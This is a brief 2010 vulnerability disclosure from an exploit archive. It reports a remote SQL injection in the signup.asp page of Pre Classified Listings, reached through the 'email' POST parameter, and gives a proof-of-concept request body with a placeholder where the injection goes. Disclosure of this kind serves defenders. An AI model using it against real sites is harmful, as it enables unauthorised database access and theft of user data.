22 lines
No EOL
898 B
Text
22 lines
No EOL
898 B
Text
=================================================================
|
|
[~] Pre Classified Listings Remote SQL Injection Vulnerability
|
|
=================================================================
|
|
|
|
##########################################################
|
|
## Author: Crux
|
|
## Homepage: http://hack-tech.com
|
|
## Date: 2-27-2010
|
|
## Software Link: http://www.preprojects.com/businesslisting.asp
|
|
## Version: N/A
|
|
##########################################################
|
|
|
|
[ SQLi ]
|
|
---------------------------------
|
|
// This vulnerability affects signup.asp
|
|
// Can be exploited VIA the POST variable 'email'
|
|
|
|
[#] Exploit / POC:
|
|
full_name=111-222-1933email@address.tst&email=${SQLINJECTIONHERE}&pass=test&ad
|
|
dress=3137%20Laguna%20Street&phone=555-666-0606&state=0&hide_email=on&url_add=
|
|
111-222-1933email@address.tst&Submit=SignUp&addit=start
|
|
================================================================= |